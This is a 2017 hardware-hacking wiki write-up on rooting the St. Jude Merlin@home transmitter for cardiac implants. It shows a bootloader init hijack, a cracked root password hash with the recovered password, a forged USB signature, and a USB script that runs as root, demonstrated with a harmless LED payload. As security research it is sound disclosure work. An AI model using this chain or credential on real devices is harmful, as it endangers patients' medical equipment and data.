SJM Merlin at Home

From Exploitee.rs
Revision as of 19:20, 14 May 2017 by Rjmendez (talk | contribs) (SJM Merlin@home model EX1150)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigationJump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."

Merlin-at-home-1.jpg

This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.

About

The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.

Disassembly

UART

A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.

Exploitation

This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.

Post device verification...
Serial2In string: ATi0
Serial2In string: 
56000
Modem Post : Passed with retries = 0

Time taken by POST : [1.197000] seconds
nand_init: manuf=0x000000EC  device=0x000000F1
scanning for bad blocks...
nand_check_blocks: nand_read_page() failed, addr=0x02B40000
nand_check_blocks: nand_read_page() failed, addr=0x04B20000
nand_check_blocks: nand_read_page() failed, addr=0x07660000

Consider yourself BLOBed!

blob version 2.0.5-pre2 for Tanto Basic Device
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.
This is free software, and you are welcome to redistribute it
under certain conditions; read the GNU GPL for details.
blob release: d20081014_platform_4_16
Memory map:
  0x02000000 @ 0xc0000000 (32 MB)

ram_post executing...
Data Bus Test
Address Bus Test
Data Qualifer Test
Device Test
c0200000status_next, board type = RF board revision =  (3)
c1e00000r14_svc = 0x0000034d
Autoboot in progress, press any key to stop ..
Autoboot aborted
Type "help" to get a list of commands
blob> boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=

We can pull some useful information from the device.

sh-2.05a# cat /etc/passwd
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
www:*:17:100:www:/var/www:
sshd:*:18:100:sshd:/var/run/sshd:
nobody:*:65534:65534:nobody:/home:/bin/sh
sh-2.05a# cat /etc/shadow
cat: /etc/shadow: No such file or directory

Lets break this.

E:\hashcat-3.5.0>hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a
hashcat (v3.5.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU

OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Precompute-Final-Permutation
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 75c

[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>

0q8h1Maw1oYAU:mah1200

Session..........: sjm_hash
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: 0q8h1Maw1oYAU
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a [7]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4764729344/69833729609375 (0.01%)
Rejected.........: 0/4764729344 (0.00%)
Restore.Point....: 0/81450625 (0.00%)
Candidates.#1....: ;~9anan -> $sb~{ka
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16

Started: Sun May 07 17:39:51 2017
Stopped: Sun May 07 17:40:05 2017

Attempts to login as root fail, what was going on with that operator user?

operator:*:12:0:operator:/root:

Lets set the password to "test" and attempt logging in.

sh-2.05a# grep "operator" /etc/passwd
operator:dPUvQFLH8...A:12:0:operator:/root:
[SJM_CONFIGURATION]
VERSION=EX2000 v6.1B PR_6.56
(none) login: root
Password: 
Login incorrect
2017-05-14 
(none) login: operator
Password: 
operator@(none):~$ whoami
operator
operator@(none):~$ su root
Password: 
PAM_unix[266]: (su) session opened for user root by (uid=12)
root@(none):~# whoami
root
root@(none):~# 

Taking Things Further

Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.

#!/bin/bash
#
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke 
#  this script only if the attached USB device is a mass-storage device.
#  hotplug does this by looking at the device class of the attached usb device
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices
#  is  ______
# 
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to
#  find the scsi ID of the attached USB storage device. It then goes on to
#  find the device node corresponding to this scsi ID.
#  
# version 1.1 - Added USB signature check functionality 
#
# For the new cellular adapters - viz mobidata and velocity, ignore the
# mass storage interface reported. Please see comments at the top of
# /etc/hotplug/usb/velocity for details.
#
#   - Ashok Iyer (16-Jun-2010)
#

export PATH=/usr/bin:/usr/local/bin:$PATH

MOUNT_PATH="/mnt/sjmpendrives"
MOUNT_NUMBER=1
LOG_FILE="/tmp/usbstorage.log"
SGMAP="sg_map"


# The functions in this script rely on "echo" to pass information to each
# other. If you need to modify this script, do not use "echo" for debugging.
# Instead use the feedback()/error_exit() functions below. These will log 
# information to a log file and do not interfere with information passing 
# between functions.

***snip***

function check_sign {
    local node1=$1"1"
    feedback "Checking signature ... "
    feedback "node1 = $node1"
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501
    signature=`cat /tmp/.sign` 

    if [ "$signature" = "SJM" ]; then
	feedback "Valid pendrive"
	echo 0
    else
	feedback "Invalid pendrive"
	echo -1
    fi
}

***snip***

# We only mount the first partition of a USB storage device. There is no 
# requirement to mount multiple partitions. Makes the job easy :-)
function mount_scsi_dev {
    local scsi_dev=$1
    local mountpt=""
  
    # check if the first partition of the device is mounted 
    if ! mount | egrep -q "^$scsi_dev"1"[[:space:]]" 
    then
        mountpt=$(find_unused_mountpt) || error_exit "Failed to find a mount pt"
        mkdir -p "$mountpt" || error_exit "Failed to create mount pt $mountpt"

	# FIXME- Ugly hack to detect partitions on USB flash drive
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline
        # or fix devfs once and for all.
        # There is another problem in devfs that after the USB flash disk is removed
        # the corresponding devfs partitions (part1, part2 etc...) still show up. 
	foobar=`ls -l $scsi_dev | awk '{print $11}'`
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 
	
	# Checking USB signature
	ret=`check_sign $scsi_dev`	
	if [ $ret -eq 0 ]; then
		feedback "Valid pendrive"
	else
		# Tanto: Inform the Exec App to show 
		# an Invalid Media Error
		if [ -p /tmp/remoteInt.pipe ]; then
			echo "UsbHotplug InvalidMedia" > /tmp/remoteInt.pipe
			error_exit "Invalid pendrive"
		else
			echo "ERROR: /tmp/remoteInt.pipe does not exist!!!"
		fi
	fi

        feedback "Mounting $scsi_dev"1" on $mountpt"
        mount -t auto $scsi_dev"1" $mountpt
        if [ "$?" -eq 0 ]; then
            feedback "$scsi_dev"1" is now mounted on $mountpt"
	    feedback "Launch application specific script"	
	    sh /etc/launch_appln.sh $mountpt
        else
            feedback "Mount error for $scsi_dev"
        fi
    else
        feedback "Ignoring $scsi_dev - already mounted"
    fi
}
  
# Find and mount all attached USB storage devices
function mount_all_attached {
    local scsiuniqid=""
    feedback "Find and mount all attached usb storage devices"

    for scsiuniqid in $(allusb_scsiuniqid)
    do
        local scsidev="`diskdev_from_uniqid $scsiuniqid`"
        if [ "$scsidev" == "UNKNOWN" ]; then
            sleep 1
        fi
        mount_scsi_dev $scsidev
    done
}

***snip***


# The remover script will be invoked when the device is removed. This is
# useless in a way because umount will have no effect. The only benefit is
# that the "mount" command will not show stale entries.

# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive 
# which is removed ( unlike umounting all attached USB flash drives )
feedback "REM = $REMOVER"
if [ -f $REMOVER ]; then
    echo '/bin/umount /mnt/sjmpendrives/*' >> $REMOVER
else
    echo -e '#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*' > $REMOVER
fi

# Inform the Export data script when pendrive is unplugged.
echo -e '\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo "Hotplug umount" > /tmp/usbDataExport.pipe \n\tfi\nfi' >> $REMOVER
chmod a+x $REMOVER

mount_all_attached

Lets look inside of /etc/launch_appln.sh

#!/bin/sh

if [ $# -ne 1 ]; then
        echo "usage: ./launch_appln.sh /mnt/pendrive"
        exit
fi

# FIXME  
# This script may be invoked by hotplug 
# Do not run the script if it is already running 
# updater or data export

mountpt=$1
script_path=/apps/tanto/

if [ -f $mountpt/version.ini ]; then
	# call updater script
	echo "Launching updater script"
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt > /tmp/debugUpdater.txt 2>&1
		umount /mnt/sjmpendrives/1
		umount /mnt/pendrive
	else
		umount /mnt/sjmpendrives/1
		umount /mnt/pendrive
		exit 0
	fi
else
	# Call Data export script
	echo "Launching export data script"
	sh $script_path/export_data.sh $mountpt
    umount /mnt/sjmpendrives/1
    umount /mnt/pendrive
fi

It looks like their pendrive "signature" is fairly easy to get around.

rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00116472 s, 2.6 kB/s
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign 
00000000  00 00 00                                          |...|
00000003
rjmendez@Reggie:~/stjude_merlin$ hd .sign_mod
00000000  53 4a 4d                                          |SJM|
00000003
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501
3+0 records in
3+0 records out
3 bytes copied, 0.00700994 s, 0.4 kB/s
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00123249 s, 2.4 kB/s
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign 
00000000  53 4a 4d                                          |SJM|
00000003

Adding the required files to the drive and a small script.

rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ ls -lahR
.:
total 36K
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini

./etc:
total 24K
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d

./etc/init.d:
total 24K
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh

rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh 
#!/bin/sh
function led_off {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b0
		sleep 0.05
    done
}

function led_dim {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b1
		sleep 0.05
    done
}

function led_bright {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b2
		sleep 0.05
    done
}

function party_mode {
    counter=0
    while [ $counter -lt $1 ];
    do
        led_off
        sleep 0.05
        led_dim
        sleep 0.05
        led_bright
        sleep 0.05
        let counter=counter+1
    done
}

/etc/init.d/tantoapp stop
#cp /mnt/sjmpendrives/1/passwd /etc/passwd
echo "This worked!" > /root/diditwork.txt
if [ -f /root/diditwork.txt ];
then
    party_mode 15
else
    echo "It did not work..."
fi

This is the output that we get from the console.

operator@(none):~$ su root
Password: 
PAM_unix[265]: (su) session opened for user root by (uid=12)
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2
scsi0 : SCSI emulation for USB Mass Storage devices
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)
sda: Write Protect is off
Partition check:
 /dev/scsi/host0/bus0/target0/lun0: p1
modprobe: Can't locate module /dev/sg1
modprobe: Can't locate module /dev/sg2
modprobe: Can't locate module /dev/sg3
modprobe: Can't locate module /dev/sg4
modprobe: Can't locate module /dev/sg5
modprobe: Can't locate module /dev/sdb
modprobe: Can't locate module /dev/sdc
modprobe: Can't locate module /dev/sdd
modprobe: Can't locate module /dev/sde
modprobe: Can't locate module /dev/sdf
modprobe: modprobe: Can't locate module nls_cp437
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
ls /root
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh
root@(none):~# cat /root/diditwork.txt 
This worked!
root@(none):~# cat /tmp/usbstorage.log 
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002
REM = /var/run/usb/%proc%bus%usb%001%002
Find and mount all attached usb storage devices
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)
Use sgmap to match 0:0:0:0.
Waiting for device id to appear...
SCSI disk for 0:0:0:0 is /dev/sda
Checking /mnt/sjmpendrives/1
Mountpoint /mnt/sjmpendrives/1 is free
Checking signature ... 
node1 = /dev/sda1
Valid pendrive
Valid pendrive
Mounting /dev/sda1 on /mnt/sjmpendrives/1
/dev/sda1 is now mounted on /mnt/sjmpendrives/1
Launch application specific script

Party Mode Demo